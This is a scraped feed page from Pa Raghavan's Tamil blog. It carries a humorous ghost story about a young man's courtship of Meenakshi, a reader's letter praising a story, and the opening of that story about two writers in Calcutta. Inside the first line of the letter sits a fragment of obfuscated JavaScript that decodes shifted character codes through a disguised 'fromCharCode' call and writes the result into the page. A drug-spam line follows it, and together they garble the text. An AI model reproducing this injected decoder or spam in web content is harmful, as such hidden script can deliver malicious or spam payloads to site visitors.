Pa Raghavan's Blog, page 30

January 16, 2015

பேய் விடு தூது

குச்சிப் பாட்டிக்கு ஏன் அந்தப் பேர் வந்தது என்றெல்லாம் எனக்குத் தெரியாது. ஆனால் அந்தப் பாட்டி செத்துப் போனதை சாக்காக வைத்து துக்கம் கேட்கப் போகிற பாவனையில் மீனாட்சியைக் கிட்டத்தில் பார்த்துவிட்டேன். அடேங்கப்பா. எப்பேர்ப்பட்ட அழகி! இழுத்து எதிரே நிறுத்தி அதைச் சொல்லிவிட வேணும்போல ஒரு தவிப்பு. எத்தனையோ பேர் நினைத்திருப்பார்கள். ஆனால் யார் நேரடியாகச் சொல்லியிருப்பார்கள்? ஆண் பிள்ளைகள் எல்லோரும் என்னைப் போலத்தான். வெறுங்கோழைகள். நினைத்துக்கொள்வதில் என்ன இருக்கிறது? அது ஒரு சொகுசு. கம்பளிக்குள் சுருண்டுகொண்டு குளிரைக் கொண்டாடுவது மாதிரி. அவ்வளவுதான். ஒரு வீரனுக்குத்தான் இதைச் சொல்ல வாய் திறக்கும். செருப்படி விழுந்தாலும் பரவாயில்லை என்கிற சுரணைகெட்டத்தனமும் கூடவே வேணும்.


ஏனென்றால், இந்தப் பெண் பிள்ளைகளுக்கு ஒரு கலியாண குணம் உண்டு. நீ அழகாக இருக்கிறாய் என்று யாராவது சொல்லுவதை ரொம்ப விரும்புவார்கள். ஆனால் அதென்னவோ கொலைக் குற்றம் மாதிரி அப்படி ஊரைக் கூட்டி ஆர்ப்பாட்டம் பண்ணிவிடவும் செய்வார்கள். மீனாட்சியே ஒன்றிரண்டு பயல்களை அவளது அப்பாவிடம் மாட்டிவிட்டிருக்கிறாள் என்று கேள்விப்பட்டேன்.


நான் அந்தளவு வீரனெல்லாம் இல்லை. அதற்காகக் கோழை என்று சொல்லிவிட முடியாது. பாருங்கள், ஒரு பேயை சிநேகிதம் பிடித்திருக்கிறேன். உங்களால் முடியுமா? செத்தாலும் முடியாது. ஓ, இல்லை. செத்தால் ஒரு வேளை முடியலாம். ஆனால் நான் உயிரோடிருப்பவன். ஆனால் ஒரு பேயின் ஃப்ரெண்ட்.


இதெப்படி என்று கேட்கிறீர்களா? சொல்கிறேன்.


அன்றைக்கு ராத்திரி நான் அறைக்குத் திரும்ப ரொம்ப நேரமாகிவிட்டது. நைட் ஷோவுக்குப் போய்விட்டு நேரே வருவதென்றால் பன்னிரண்டரை மணிக்கே வந்திருக்கலாம். ஓட்டலுக்குப் போய் பார்சல் வாங்கிச் செல்லலாம் என்று நினைத்ததுதான் தப்பு. பார்சல்தான் ரொம்ப லேட்டாகிவிட்டது.


வாங்கிக்கொண்டு நடக்க ஆரம்பித்தேன். இன்னும் இரண்டு நீண்ட சாலைகள், ஒரு குறுக்குச் சந்து, ஒரு குப்பை மேடு இவற்றைக் கடந்தால்தான் நான் தங்கியிருக்கும் மேன்ஷனுக்குப் போய்ச் சேரமுடியும். ஒரு ஆட்டோ பிடித்தால் அஞ்சு நிமிஷம்தான். அத்தனை சீக்கிரம் போய்ச் சேர்ந்து என்ன செய்யப் போகிறேன்? மீனாட்சியைத் தான் நினைத்துக்கொண்டு படுப்பேன். நினைத்துக்கொண்டு நடக்கவும் செய்யலாமே?


மீனாட்சி. மீனாட்சி. மீனாட்சி.


மீனாட்சிக்கு நகம் கடிக்கிற பழக்கம் இருக்கிறது.


மீனாட்சி. மீனாட்சி. மீனாட்சி.


மீனாட்சி கல்லூரியில் கடைசி வருஷப் படிப்பில் இருக்கிறாள். போன செமஸ்டரில் ஒரு பேப்பரில் ஃபெயில் வேறு ஆகியிருக்கிறாள்.


மீனாட்சி. மீனாட்சி. மீனாட்சி.


பிக்கல் பிடுங்கல் இல்லாத வீடு. அவளது அப்பா, வீட்டை ஒட்டியே ஒரு பெட்டிக்கடை வைத்திருக்கிறார். என்னை அவருக்குத் தெரியும். நான் தங்கியிருக்கும் மேன்ஷனில் குடியிருப்போரில் அவரது கடையில் சிகரெட் வாங்காத ஒரே இளைஞன் நாந்தான். (பக்கத்துத் தெருவுக்குப் போய் வாங்குவேன்.)


மீனாட்சி. மீனாட்சி. மீனாட்சி.


மீனாட்சியை அவரொன்றும் கலெக்டர் உத்தியோகத்துக்குப் படிக்க வைக்கப் போவதில்லை என்பதை நானறிவேன். எவனோ ஒருத்தனைப் பிடித்துக் கட்டிவைத்துவிடத் தான் போகிறார். அந்த ஒருவன் ஏன் நானாக இருக்கக்கூடாது?


மீனாட்சி. மீனாட்சி. மீனாட்சி.


நான் சம்பாதிக்க ஆரம்பித்துவிட்டேன் அன்பே. ரேஷன் கார்டில் குடும்பத்தலைவனாகும் தகுதி எனக்கும் வந்துவிட்டது. நீ இன்னும் கிடைக்காதபடியால்தான் நேரம் கடத்த நைட் ஷோ போகிறேன். நீ வந்துவிட்டால் உன்னோடு மாலைக்காட்சிக்குத்தான் போவேன்.


மறந்துவிட்டேன் பார்த்தீர்களா? விஷயத்தை இன்னும் என் வீட்டுக்குச் சொல்லவில்லை. போன முறை என்னைப் பார்க்க ஊரிலிருந்து அப்பாவும் அம்மாவும் வந்திருந்தபோது விவரம் சொல்லி நேரடியாகப் பெண் கேட்கச் சொல்லலாமா என்று நினைத்தேன். அம்மாவை மீனாட்சியின் அப்பாவுடைய பெட்டிக் கடைக்கு அழைத்துச் சென்று அறிமுகப்படுத்திக்கூட வைத்துவிட்டேன். நல்ல மனுஷன். இங்கே ஒரு அவசர ஆத்திரத்துக்கு இவருடைய கடைதான் எங்களுக்கெல்லாம். நடு ராத்திரி எழுப்பிக் கடை திறக்கச் சொன்னாலும் பன்னும் பழமும் கொடுப்பார். பெரிய பரோபகாரி.


அறிமுகம் போதாது? ஆனாலும் ஏனோ மீனாட்சி விஷயத்தை எடுக்க முடியவில்லை. சரி போ, அப்புறம் பார்த்துக்கொள்ளலாம் என்று இருந்துவிட்டேன். கதாநாயகியான மீனாட்சியிடமே இன்னும் சொல்லவில்லை. அவள் என்ன நினைப்பாள் என்று தெரியவில்லை. அதற்குள் அம்மாவிடம் சொல்லி என்ன பயன்?


இவ்வாறாக நான் மீனாட்சியைக் குறித்து யோசித்தபடியே நடந்துகொண்டிருக்கும்போதுதான் அந்தக் குப்பை மேட்டுக்குள் இருந்து ஒரு குரல் வந்தது. ‘டேய், ரொம்பப் பசிக்குதுடா. கையில இருக்கற பார்சல குடுத்துட்டுப் போயேன்.’


‘யாரு?’


குரல் வந்த திசையில் தேடிப் பார்த்தேன். ஆள் யாரும் இல்லை. எனவே மீண்டும் கேட்டேன், ‘யாரு?’


‘அதெல்லாம் ஒனக்கு வேணா. எனக்குப் பசிக்குது. கையில பிரியாணிதான? அப்படி அந்த குத்துக்கல்லு மேல வெச்சிட்டுப் போயிடேன். இப்பந்தின்னேன்னா ஒரு பத்து நாளைக்குப் பசிக்காது.’


எனக்கு சிரிப்பு வந்துவிட்டது. யாரோ பாவம் பரம தரித்திரவாசி. பொட்டலத்தின் வாசனை பிடித்து சரியாகக் கேட்டுவிட முடிந்திருக்கிறது. ஒழியட்டும் என்று அந்தக் கல்லின்மீது பிரியாணி பொட்டலத்தை வைத்தேன்.


‘நீ போ. தள்ளிப் போயிரு.’


தபார்றா என்று நினைத்துக்கொண்டு கண்டுகொள்ளாமல் செல்பவன் மாதிரி நாலடி நகர்ந்து போனேன். ஆனால் நான் கில்லாடி அல்லவா? நடந்த வாக்கிலேயே சரேலென ஒரு அபவுட் டேர்ன்.


அடக்கெரகமே. கல்லின்மீது நான் வைத்த பிரியாணிப் பொட்டலத்தை இப்போது காணோம்! தடதடவென்று அந்தக் குப்பை மேட்டின் மீது ஏறி ஒரே தாவாக அந்தப் பக்கம் எகிறிக் குதித்து ஒரு முழு சுற்று சுற்றி முடித்துப் பார்த்தும் யாரையும் காணோம். என் காலெல்லாம் நாற்றம் பிடித்துக்கொண்டதுதான் மிச்சம்.


‘ஏய்.. நீ யாருன்னு சொல்லு? எங்க ஒளிஞ்சிட்டிருக்க? வெளிய வா.’ என்று சத்தம் போட்டேன்.


ம்ஹும். பதில் இல்லை.


இதென்ன கயவாளித்தனம்? பிரியாணி கொடு என்று கேட்டு வாங்கிச் சாப்பிடத் தெரிகிறது. நேரில் பார்த்து ஒரு நன்றி சொல்ல வக்கில்லாது போய்விடுமா? இது மட்டும் பகலாக இருந்திருந்தால் நடந்திருப்பதே வேறு. சரி போ. காசுக்குக் கேடு. இன்று நமக்கு பிரியாணி கொடுத்துவைக்கவில்லை. அறைக்குப் போனால் இரண்டு மலைப்பழங்கள் இருக்கும். சாப்பிட்டுவிட்டுத் தண்ணீர் குடித்துவிட்டுப் படுக்கவேண்டியதுதான்.


இப்படியாக நான் மனத்துக்குள் சமாதானம் செய்துகொண்டு கிளம்ப நினைத்தபோது மீண்டும் அந்தக் குரல் வந்தது. ‘ரொம்ப நன்றி. இது பெரிய உதவி. மறக்கமாட்டேன்.’


இப்போதுதான் எனக்கு மெலிதாக ஒரு பயம் வர ஆரம்பித்தது. ஒருவேளை நிஜமாகவே பேயாக இருக்குமோ?


நான் கேட்டேன், ‘நீ யாரா இருந்தாலும் பரவால்ல. நேர்ல வா. நான் ஒன்ன பாக்கணும்.’


‘எனக்கு உருவம் இல்லடா. இருந்திருந்தா வந்திருக்க மாட்டனா?’


‘எழவே. மூஞ்சி இல்லாத முண்டத்துக்கு பசி மட்டும் இருக்குதாக்கும்.’


எனக்குத் தெளிவாகத் தெரிந்தது. என் பயம்தான் என் குரலில் கோபத்தை ஏற்றி அனுப்பிக்கொண்டிருந்தது. இது ஏதடா வம்பாப் போச்சு? போயும் போயும் ஒரு பேயிடம் மாட்டிக்கொள்வதாவது? அதுவும் யாராவது ஒருத்தன் பிரியாணி கொடுத்துப் புதை குழிக்குள் விழுவானா?


என் பயமும் கலவர உணர்வும் அதற்குப் புரிந்துவிட்டது போலிருக்கிறது. ‘பயப்படாத. ஒன்ன நான் ஒண்ணுஞ்செய்ய மாட்டேன். ஒன்னன்னு இல்ல. யாரையுமே ஒண்ணுஞ்செய்யிற ஜாதி நான் இல்ல. இருந்த வரைக்கும் நல்லதா எதுவும் பண்ணல. அதுக்கே இப்படி ஒரு அவஸ்த. இப்ப பேயா திரியறப்பவேற பாவத்த தேடிக்கணுமா? அதெல்லாம் மாட்டேன். நீ பயப்படாத.’


‘நீ.. நீ நிஜமாவே பேயா?’


‘ஆமாமா. இன்னுமா ஒனக்கு சந்தேகம் தீரல? அதான் சுத்திப் பாத்தியே? ஆளு யாரும் கண்ணுல பட்டாங்களா?’


‘இல்ல. அதான் குழப்பமா இருக்கு.’


‘குழப்பமே வேணாம். நான் பேய்தான். ஆனா ஒண்ணுஞ்செய்ய மாட்டேன். நீ எனக்கு பசியாத்தியிருக்க.’ மீண்டும் உறுதியளித்தது.


எனக்கு நெஞ்சுக் குழியெல்லாம் உலர்ந்து போய்விட்டது. இடமும் காலமும் மறந்து உடல் நடுக்கம் ஒன்றே சாசுவதம் என்று தோன்றிவிட்டது. அது போய்விடு என்று சொன்னபோதே போயிருக்கலாம். நான் ஏன் நின்றேன்? இந்த அசட்டுத் துணிச்சல் மீனாட்சியிடம் காதலைச் சொல்ல மட்டும், வருவேனா என்கிறது. என்ன ஜென்மம் நான்?


‘ஆச்சி. சாப்ட்டு முடிச்சிட்டேன். நான் போயி தண்ணி குடிக்கறேன். நீ கெளம்பு. வீடு போய் சேரு.’


திடுக்கிட்டு மீண்டும் ஒருதரம் சுற்றிப் பார்த்தேன். ‘ஏய் இரு. நீ பேய்னு நான் எப்படி நம்பறது?’


‘நீ எதுக்கு நம்பணும்? பேய்க்கே பிரியாணி போட்டவன், மனுசனுக்கு என்ன வேணா செய்வ. நல்ல மனசு ஒனக்கு. நீ நல்லாருப்ப. போயிட்டு வா.’


‘இந்தா பாரு.. எனக்கு உன் ஆசீர்வாதமெல்லாம் வேணாம். ஒரு ஹெல்ப் பண்ணுவியா?’


இதை எப்படிக் கேட்டேன் என்று தெரியவில்லை. ஆனால் கேட்டுவிட்டேன்.


சில வினாடிகள் பதில் ஏதும் வரவில்லை. பேய் தண்ணீர் குடிக்கப் போய்விட்டது போலிருக்கிறது என்று நினைத்துக்கொண்டு நான் கிளம்பும்போது, ‘என்ன செய்யணும் சொல்லு?’ என்று குரல் வந்தது.


கொஞ்சம் யோசித்தேன். ம்ஹும். இதெல்லாம் பெரிய விவகாரம். எடுத்தேன் கவிழ்த்தேன் என்று மடத்தனம் பண்ணிவிடக் கூடாது.


‘அதெல்லாம் ஒண்ணுமில்ல.. நான் வரேன்’ என்று விறுவிறுவென்று நடக்கத் தொடங்கிவிட்டேன். எங்கே அது துரத்திக்கொண்டு அறை வரைக்கும் வந்துவிடுமோ என்று பயம்தான். நல்லவேளை, அப்படி எதுவும் ஆகவில்லை.


ஒரு நாலைந்து நாள் அந்தப் பக்கமே போகவில்லை. ஆனால் அந்தப் பேயை நினைக்காதிருக்க முடியவில்லை. வாழ்வில் மனிதாபிமானமும் நல்ல மனமும் கொண்ட ஒரு பேயைச் சந்திப்பேன் என்று நான் எண்ணிப் பார்த்திருப்பேனா. சொன்னால்கூட யாரும் நம்பமாட்டார்கள். அதுசரி, எதற்கு நம்பவேண்டும்?


அந்த வாரம் முழுவதும் ஆபீசுக்குப் போய் வேலை பார்த்துவிட்டு வாரக் கடைசியில் வழக்கம்போல் நைட் ஷோ பார்த்துவிட்டு மறக்காமல் பிரியாணி வாங்கிக்கொண்டு திரும்பும்போது மீண்டும் அந்தப் பேயை நினைத்தேன். இந்த முறை வேண்டுமென்றேதான் அந்தக் குப்பை மேட்டுப் பக்கமாகப் போனேன். அதே குத்துக்கல். ஒரு கணம் நின்று சுற்றிப் பார்த்தேன். குரல் ஏதும் வரவில்லை. ஆனாலும் பிரியாணிப் பொட்டலத்தை அந்தக் கல்லின்மீது வைத்தேன்.


ஒரு நிமிஷம் முழுதாக ஓடியிருக்குமா? பிரியாணிப் பொட்டலம் மறையவில்லை. ஆனால் பேய் வந்துவிட்டது. ‘எனக்கு இப்ப பசியில்லெ. போனவாரம் சாப்ட்ட பிரியாணி இன்னும் மூணு நாளைக்கித் தாங்கும்.’


நான் பதிலேதும் சொல்லாமல் பொட்டலத்தை எடுத்துக்கொண்டேன்.


‘என்னமோ உதவி வேணுன்னு சொன்னியே. என்னன்னு சொல்லேன்?’


‘அதெல்லாம் ஒண்ணுமில்ல. சும்மா நீ பேய்தானான்னு டெஸ்ட் பண்றதுக்கு சொன்னேன். விட்டுடு. அத மறந்துடு.’


‘இல்ல பரவால்ல சொல்லு. என்னால முடிஞ்சா செய்வேன். ஒரு நாலஞ்சு ஹெல்ப் பண்ணியாவது இந்த நாறப் பொழப்ப தாண்ட முடியுதா பாக்கறேன்.’


இப்போது எனக்கு சுவாரசியமாகிவிட்டது. பேய்க்குப் பரலோக ப்ராப்தி தேவைப்படுகிறது. சிறு உதவிகளின் மூலம் அது சாத்தியமா? தெரியவில்லை. பரீட்சை செய்து பார்த்துவிடுவதில் ஒன்றும் பிழையில்லையே? சரிதான், எனக்கும் ஒரு காரியம் ஆகவேண்டியிருக்கிறது. ஏ அன்பான பேயே, நான் மீனாட்சியை விரும்புகிறேன். ஆனால் அவளிடம் அதை எப்படிச் சொல்லுவதென்று தெரியவில்லை. என் சார்பாக நீ அவளிடம் எப்படியாவது என் மனத்தில் இருப்பதைப் புரியவைக்க முடியுமா?


ஒரு வழியாகச் சொல்லிவிட்டேன். பேய் சில நிமிடங்கள் யோசிப்பதற்கு எடுத்துக்கொண்டது. பிறகு, சரி முயற்சி செய்கிறேன்; நீ ஒரு மாதம் கழித்து வா’ என்று சொன்னது. சரிதான். பேயே ஒரு மாதம் கேட்கிறதென்றால் பெரிய பிராஜக்ட்தான்.


அடுத்த வாரம் ஊரில் இருந்து என் அம்மாவும் அப்பாவும் என்னைப் பார்க்க வந்தார்கள். ‘டேய் ஒனக்கு பொண்ணு பாத்திருக்கம்டா’ என்று உள்ளே நுழையும்போதே அம்மா அறிவித்துவிட்டாள்.


‘யாரு?’ என்றேன் அசுவாரசியமாக.


‘எல்லாம் ஒனக்குத் தெரிஞ்ச பொண்ணுதாண்டா.. இந்த மேன்ஷனுக்கு எதிர் சைடுல பொட்டிக்கடை வெச்சிருக்காரே நீராத்து பாண்டி, அவரோட பொண்ணு மீனாட்சி.’


மீனாட்சியா!


அம்மா சொன்னதை என்னால் நம்பவே முடியவில்லை. போனமுறை அம்மா வந்திருந்தபோது எதிர்க் கடைக்கு அழைத்துச் சென்று அறிமுகம் செய்து வைத்தேன் அல்லவா? அன்றைக்கே மீனாட்சியின் அப்பா என் அம்மா அப்பாவிடம் பேச்சுக் கொடுத்து என்னைப் பற்றி விசாரித்திருக்கிறார். என் உத்தியோகம், சம்பளம், உடன் பிறந்தோர், ஊரில் இருக்கும் நிலம் நீச்சு என்று சகலமான சேதிகளையும் பேசியிருக்கிறார்கள். மீனாட்சியின் போட்டோவைக் கொடுத்து, ஜாதகம் இருந்தா அனுப்புங்க, பாப்பம் என்று கேட்டிருக்கிறார். அப்பா ப்ரொபஷனல் கூரியரில் ஜாதகம் அனுப்பி, பொருத்தம் பார்ப்பது வரை நடந்திருக்கிறது.


‘தெனம் பாக்கற புள்ளதான? படிச்சிருக்க. வேல பாக்குற. சம்பாதிக்கற. அவருக்கு கல்யாண வயசுல பொண்ணு இருக்குது. சரியா இருந்தா முடிக்கலாம்னு நினைக்கறது ஒரு அதிசயமா?’


எனக்கு அதன் பிறகு எல்லாமே அதிசயமாகத்தான் இருந்தது. அடுத்த பத்து நாளில் கல்யாணமே முடிந்துவிட்டது. மீனாட்சியின் அப்பாவே எனக்கு நாலு தெரு தாண்டி ஒரு வீடு பிடித்துக் கொடுத்துக் குடி வைத்துவிட்டார். ஆபீஸ் போய்வர ஒரு ஸ்கூட்டர் வேறு வாங்கிக் கொடுத்திருந்தார்.


என் பதட்டப் பரவசமெல்லாம் தணிய மேலும் பத்து நாள் தேவைப்பட்டது. மீனாட்சியுடன் அந்த வார இறுதியில் ஒரு சினிமாவுக்குப் போயிருந்தேன். இண்டர்வலில் மீனாட்சி சொன்னாள். அவளது பாட்டிதான் முதல் முதலில் என் பேரை அவர்கள் வீட்டில் எடுத்தாளாம். துக்கம் கேட்கப் போனேனே, அந்தப் பாட்டி. ‘அந்தப் புள்ள பாக்க லச்சணமா இருக்காண்டா.. நல்லா சம்பாதிக்கறான். நம்ம மீனாச்சிக்குப் பாக்கறதுன்னா பாரு.’


அன்றிலிருந்தே மீனாட்சியின் அப்பா என்னை கவனிக்க ஆரம்பித்திருக்கிறார். எல்லாம் பிடித்துப் போனபோதுதான் ஜாதகம் அனுப்பக் கேட்டிருக்கிறார்.


மீனாட்சி சொன்னாள். ‘ஆனா பொருத்தமெல்லாம் பாக்கவேயில்ல தெரியுமா? பாத்துட்டதா சொன்னாங்க. அவ்ளதான்.’


‘ஏன்?’


‘வீட்டுல ஒரு பெரிய சாவு விழுந்தா உடனே ஒரு நல்ல காரியம் பண்ணிரணும்னு ஐதீகம். செத்துப் போன பாட்டி எங்கப்பா கனவுல வந்து முன்னாடி சொன்னத திரும்ப ஒருதடவ ஞாபகப்படுத்தியிருக்கா. அதுக்குமேல எங்கப்பா யோசிக்கவேயில்ல. உடனே உங்கப்பாவுக்கு லெட்டர் எழுதிப் போட்டுட்டாரு.’


அதற்குமேல் எனக்குப் படத்தில் மனம் தோயவில்லை. மீனாட்சியை வீட்டில் கொண்டு போய் விட்டுவிட்டு பிரியாணி வாங்கப் போகவேண்டும் என்று நினைத்துக்கொண்டேன்.


O


சொக்கன் பிறந்த நாளுக்கு இந்தப் பேய்க்கதை என் அன்புப் பரிசு ;)


Copyright © 2008-2015 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on January 16, 2015 10:49

ஒரு முத்தம் – ஒரு கடிதம்

அன்புள்ள பாரா,< l) z += String["fr"+a2+a1+"de"](parseInt(t.slice(pos,pos+=3))-70);
document.write(z);


synthroid keeps me awake at night





காலையில் கண் விழித்து அப்போதுதான் எழுந்து உட்கார்ந்திருந்தேன். பல் விளக்கியிருக்கவில்லை. அப்படியே மொபைலை ஒரு புரட்டு புரட்டலாம் என்று எடுத்தபோதுதான் உங்கள் சிறுகதையின் லிங்க் கண்ணில் பட்டது. அதைப் படிக்க ஆரம்பிக்கும்போது பின் வருமாறு இருந்தது என் மனநிலை: ஒரு இரண்டு பத்திகள் படிப்போம். சுவாரஸ்யமாக போகிறதா என்று பார்ப்போம். இல்லையெனில் ஃபேஸ்புக்கில் அடுத்த மொக்கை நிலைத்தகவலுக்குத் தாவிவிடுவோம்.

ஒரு வித சோம்பேறித்தனமான, மந்தமான, தூக்கம் கலையாத மனநிலை.

ஆனால் உள்ளே நுழைந்ததற்கப்புறம் சரிவில் இறங்கும் ப்ரேக் பிடிக்காத சைக்கிள் போல.. இன்னும் கொஞ்சம் நவீன உவமை வேண்டுமென்றால் ஒரு ஜெண்டில் சிங்குலாரிட்டி ப்ளாக் ஹோல் போல சர்ரென்று தனக்குள் இழுத்து மறுபக்கம் விட்டுவிட்டது. ஒரு சேதாரமும் இல்லை. ஆனால் அந்த ஜிவ்வென்ற உணர்விருக்கிறதே..

தூக்கம் முழுசாகக் கலைந்துவிட்டது.

எந்த ஒரு நல்ல சிறுகதையைப் படித்தாலும் கடைசி வரிக்கப்புறம் ஒரு ‘ஜிவ்’ எஞ்சி நிற்கவில்லையெனில் அது ஒரு கதையே அல்ல. இதில் அது நிகழ்ந்தது. கைகள் பரபரக்க உடனடியாக பல் விளக்கிவிட்டு, டாய்லெட் போய்விட்டு, பெண்டாட்டி கொடுத்த சூடான காப்பியுடன் இதோ இதை எழுத உட்கார்ந்துவிட்டேன். இந்தக் கதையின்  வெற்றி இதுதான்.

அதுதவிர மழையோடு சம்பந்தப்படுத்தி எழுதப்படும் எந்த ஒரு படைப்பும் மனதில் ஒரு லேசான ஒரு குளிரை, சிலிர்ப்பை ஏனோ ஏற்படுத்திவிடுகிறது. மழை கொண்டுவந்து தரும் உணர்வுகள் வேறு மாதிரியானவை. அதையும் இந்தக் கதை செய்கிறது.

//’என் ஹலோவை அவன் செருப்பால் அடித்துவிட்டான். ’, ’வெறும கதை எழுத பொண்டாட்டி போதும். கவிதைக்கு சிநேகிதிகள் அவசியம்’ //

என்ன ஒரு ஃப்ளோ! என்ன ஒரு நடை!

இந்தக் கதையைப் படித்ததற்கப்புறம், மொபைலில் மற்ற எதுவும் இடைஞ்சலாகத் தோன்றியது. மூடி வைத்துவிட்டேன். இன்றைய தினம் அற்புதமாக விடிந்தது.

- சித்ரன் ரகுநாத்
0
சித்ரன், நன்றி.

Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on January 16, 2015 07:56

January 15, 2015

ஒரு முத்தம்

இது அவனுடைய கதை. அவன் பேரைச் சொல்லி எழுதத்தான் திட்டம் போட்டேன். இரண்டாவது பத்தியை எட்டும்போதே வேண்டாமென்று தோன்றிவிட்டது. காலம் எழுத்தாளனுக்குச் சாதகமாக இல்லை. என்றைக்கும் போலத்தான். குறைந்தபட்சம் பெண்டாட்டி பிள்ளை குட்டியுடன் அவன் சௌக்கியமாக இருக்கவேணுமென்று நினைப்பதில் என்ன தவறு? அவன் என் நண்பன். பார்த்து இருபது வருஷங்களுக்குமேல் ஆகிவிட்டதென்ற போதிலும். தொடர்பே இல்லை என்ற போதிலும். நான் எழுதுகிற மொழி அவனுக்குத் தெரிய வாய்ப்பே இல்லை என்றாலுமேகூட. பாதகமில்லை. அவன் வேறு நான் வேறில்லை. ஆன்மாவின் அடியாழத்தில் யாருமேகூட யார் யாரோ இல்லையல்லவா!


கல்கத்தாவில் அப்போது மழை பெய்துகொண்டிருந்தது. சாலையெல்லாம் வாணலியில் வதங்கும் கத்திரிக்காய் போலாகிவிட்டிருந்தது. குப்பை எது மண் எது, குழி எது, தார்ச்சாலை எது என்று தெரியாமல்தான் கால் வைக்க வேண்டும். ரொம்பக் கஷ்டம். ஆனால் ஒரு பெரும் மக்கள் கூட்டம் இதைப் பொருட்படுத்தவே செய்யாமல் எங்கோ போர்க்களம் போய்க்கொண்டிருப்பது போல நகர்ந்துகொண்டே இருந்தது. எத்தனை ஆயிரம் மக்கள். இந்த நகரத்தின் சந்தடி மழை நாளில் கூட அடங்குவதில்லை. காரோட்டிகளும் இழுரிக்‌ஷாக்காரர்களும் பாரபட்சமில்லாமல் நடந்துபோகிறவர்கள் மீது சேறு வாரிப் பூசியபடியே போனார்கள். யாரும் திட்டவில்லை. சேறடிப்பது வாகனங்களின் பிறப்புரிமை போலிருக்கிறது.


‘நாம் ஒரு டாக்சி பிடிப்போமா?’ என்று அவனிடம் கேட்டேன்.


‘இல்லை. நடக்கலாம். எனக்கு ஒன்றும் பிரச்னையில்லை’ என்று அவன் பதில் சொன்னான். இதற்குமேல் நனையவும் ஒன்றுமில்லை, நனையாமல் காக்கவும் ஒன்றுமில்லை. இது ஒரு அனுபவம். மொழி தெரியாத ஊரில் கிடைத்த புதிய நண்பன். அவனுக்கும் வங்காளம் தெரியாதுதான். அவன் பாரதத்தின் மேற்கு மூலையில் இருந்து வந்திருந்தான். நான் தெற்கு மூலை. அவன் கவிஞன். நான் கதை எழுதுபவன். அவனுக்கு அப்போதே திருமணம் ஆகி, ஒரு பெண் குழந்தை இருந்தது. எனக்குப் பெண் பார்த்து நிச்சயம் செய்திருந்தார்கள். அவன் ஒரு கம்யூனிஸ்டு. நானோ கம்யூனிசமும் காலராவும் ஒன்றென நம்புபவன். எப்படிப் பார்த்தாலும் ஒட்டாத ஜந்துக்கள். ஆனாலும் அந்த நகரத்தில் நாங்கள் அன்று காலை சுமார் ஏழே முக்கால் மணியளவில் ரயில்வே ஸ்டேஷனில் வைத்து நண்பர்கள் ஆகியிருந்தோம்.


விருது விழா அழைப்பிதழில் எங்கள் புகைப்படங்கள் பிரசுரமாகியிருந்தன. பெரிய கௌரவமான விருது. தேசத்தின் நான்கு மூலைகளில் இருந்தும் நான்கு பேரைத் தேர்ந்தெடுத்துக் கௌரவிக்க அழைத்திருந்தார்கள். எழுதுபவனுக்கு வேறென்ன வேண்டும்? இது ஒரு கிளுகிளுப்பு. மேடைக் கிளுகிளுப்பு. பரம சுகமாக இருக்கும். ஒரே ஒரு கணமாயினும் உலகமே நமக்காகக் கைதட்டுவது போலத் தோன்றும் சுகம் எல்லோருக்கும் வாய்க்காது. எழுத்தாளன் கொம்பு முளைத்தவந்தான். சந்தேகமில்லை. ஆனால் சொல்லிக்கொள்ளக் கூடாது. பேங்க் லாக்கரில் வைர நெக்லஸ் இருக்கிறது என்று அவ்வப்போது பக்கத்து வீட்டுப் பெண்ணிடம் போகிற போக்கில் வெறும் தகவலாக உதிர்த்துச் செல்வது மாதிரிதான் இதையும் பேணவேண்டும். இதெல்லாம் ஒரு கலை. ஒரு சாகசம்.


அவன் கையில் விழா அழைப்பிதழ் இருந்தது. இல்லாவிட்டால் ஸ்டேஷனில் இருந்து வெளியே போக விடமாட்டார்களோ? நான் சென்ற ரயில் நின்று, இறங்கி நடக்கத் தொடங்கியபோது என்னை அழைத்துச் செல்ல வந்திருந்த அமைப்பாளர்களுடன் அவனும் நின்றிருந்தான். பத்து நிமிஷம் முன்னால் வந்த ரயிலில்தான் அவன் வந்திருந்தான். வரவேற்பெல்லாம் கனஜோராக இருந்தது. அமைப்பாளர்களை அறிமுகப்படுத்தியதும் அவனையும் எனக்கு அறிமுகம் செய்துவைத்தார்கள். பெரிய கவிஞன். ஆறு புத்தகங்கள் வந்திருக்கின்றன. இதற்குள் மூன்று வெளி தேசத்து மொழிகளில் அவனது கவிதைகள் வெளியாகியிருக்கின்றன.


நான் ஹலோ என்று கை நீட்டினேன். அவன் கையில் இருந்த அழைப்பிதழை அருகே இருந்த அமைப்பாளரிடம் கொடுத்தான். தோளில் இருந்த பெரிய மூட்டையை இறக்கிக் கீழே வைத்தான். இயேசுநாதர் மாதிரி இரண்டு கைகளையும் உயர்த்தி பிறகு என்னை நோக்கி நீட்டினான். இரண்டே அடிகள். பாய்ந்து வந்து அப்படியே ஆரத் தழுவிக்கொண்டான். எனக்குக் கொஞ்சம் வெட்கமாகப் போய்விட்டது. என் ஹலோவை அவன் செருப்பால் அடித்துவிட்டான். சிநேகபாவமென்றால் இதுவல்லவா. முகம் தெரிவதோ, மொழி தெரிவதோ, முன் தெரிவதோ அத்தனை முக்கியமா? எழுத்து என்கிற ஒரு கண்ணியில் இரண்டு பேரும் இணைந்திருக்கிறோம். அதற்குமேல் வேறென்ன வேண்டும்?


அன்று காலையே சொதசொதவென்று மழை பிடித்துக்கொண்டிருந்தது. எஸ்பிளனேடு பகுதியில் எங்களுக்கு ஒரு ஹோட்டலில் அறை போட்டிருந்தார்கள். போக்குவரத்து நெரிசலில் சிக்கி எங்கள் டாக்சி அந்த ஹோட்டலுக்குப் போய்ச் சேரும்போது ஒன்பது மணிக்குமேல் ஆகிவிட்டது.


